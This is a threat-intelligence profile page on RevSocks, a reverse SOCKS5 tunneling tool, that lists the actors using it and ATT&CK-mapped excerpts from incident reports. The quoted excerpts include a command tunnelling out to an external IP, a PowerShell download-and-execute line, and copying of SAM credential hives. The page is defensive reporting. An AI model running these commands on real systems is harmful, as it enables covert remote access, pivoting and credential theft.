RevSocks
- Type
- Proxyware
- Capabilities
- Lateral movementPost exploitationDefense evasionExfiltration
- Platforms
- WindowsLinux
RevSocks is an open-source, Go-based reverse SOCKS5 proxy and tunneling tool used legitimately for network access and abused by threat actors during post-compromise operations. It runs on Windows and Linux and supports SSL/TLS-protected connections and upstream proxies. By establishing an outbound connection from a compromised host to an operator-controlled server, it enables traffic forwarding into otherwise inaccessible network segments, supporting internal pivoting, covert remote access, and data exfiltration. Deployments using secure WebSocket transport have also been observed.
RevSocks is typically deployed after attackers have already obtained execution on a system rather than serving as an initial-access payload. Operators use it alongside backdoors, web shells, remote-management software, and other tunneling utilities to provide additional access channels and conceal command-and-control traffic. Its use spans espionage and financially motivated intrusions, including operations attributed to Seedworm/MuddyWater, Mantis/Arid Viper, and Cloud Atlas, as well as ransomware activity involving Spirals and affiliates associated with INC Ransomware and The Gentlemen. Its availability and adoption by unrelated actors mean that its presence alone does not establish attribution.
Associated threat actors
10 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
RevSocks, a reverse SOCKS5 framework used to pivot inside victim networks and stage data for exfiltration.
RevSocks, a reverse SOCKS5 framework used to pivot inside victim networks and stage data for exfiltration.
Investigators recovered traces of revsocks execution dating to September 2023 and additional revsocks commands during the Linux investigation.
Reverse SOCKS5 tunneler with TLS support (see https://github.com/kost/revsocks)
Further PowerShell stager execution also occurred, while the attacker also executed the Revsocks tool: CSIDL_COMMON_APPDATA\do.exe -co 94.131.3.160:443 -pa super -q
+4 more in the app. View in Mallory
Techniques & procedures
14 distinct techniques documented for this family, organized by ATT&CK tactic.
Resource Development
1 technique
Resource Development
Open-source tools: Neo-reGeorg, resocks, revsocks, patator
Initial Access
1 technique
Initial Access
Feral Wolf discovered a PostgreSQL instance with a postgres account that used a weak password. The adversaries uploaded revsocks ... [and] presumably tested the discovered credentials to gain access to PostgreSQL.
Execution
1 technique
Execution
To keep tunnels running, the group uses VBS scripts executed through PAExec or PsExec and schedules them as Windows tasks for automatic restarting.
Persistence
2 techniques
Persistence
To keep tunnels running, the group uses VBS scripts executed through PAExec or PsExec and schedules them as Windows tasks for automatic restarting.
Feral Wolf discovered a PostgreSQL instance with a postgres account that used a weak password. The adversaries uploaded revsocks ... [and] presumably tested the discovered credentials to gain access to PostgreSQL.
Privilege Escalation
2 techniques
Privilege Escalation
To keep tunnels running, the group uses VBS scripts executed through PAExec or PsExec and schedules them as Windows tasks for automatic restarting.
Feral Wolf discovered a PostgreSQL instance with a postgres account that used a weak password. The adversaries uploaded revsocks ... [and] presumably tested the discovered credentials to gain access to PostgreSQL.
Stealth
2 techniques
Stealth
Copies the SAM ... and SECURITY system files from this shadow copy to C:\Users\Public\Documents\, disguising them as PDF files.
Feral Wolf discovered a PostgreSQL instance with a postgres account that used a weak password. The adversaries uploaded revsocks ... [and] presumably tested the discovered credentials to gain access to PostgreSQL.
Defense Impairment
1 technique
Defense Impairment
TA2 first sent a GET request with the CHMOD command to change the permissions of .tmp12865xax, a hidden file in the /tmp directory [T1222.002].
Lateral Movement
1 technique
Lateral Movement
After accessing the system via an SSH connection, the attacker downloads a binary, enabling him to establish his own SSL/TLS tunnel via revsocks.
Command and Control
8 techniques
Command and Control
The MuddyC2Go launcher executed the following PowerShell code to connect to its command-and-control (C&C) server... Invoke-WebRequest -Uri $uri -Method GET ... iex $response.Content;
Reverse-proxy templates, Worker relay, SOCKS5
Defense Evasion T1090.001 Internal Proxy revsocks SOCKS5 on :8126 masquerading as AkamaiNetStorage
For covert command-and-control, the operator ran a reverse-SOCKS proxy (revsocks) to an external IP on port 443
Three separate network-tunneling utilities were deployed to the host in the first 10 minutes of activity.
TA1 exploited CVE 2022-22954 ... to download [T1105] a malicious shell script.
We have observed the use of third-party public utilities (Tor/SSH/RevSocks) to gain a foothold in infected systems and create additional backup control channels.
revsocks (SOCKS5 reverse tunnel) ; GSocket / gs-netcat (traversée NAT/firewall)
Observables
12 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
22 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.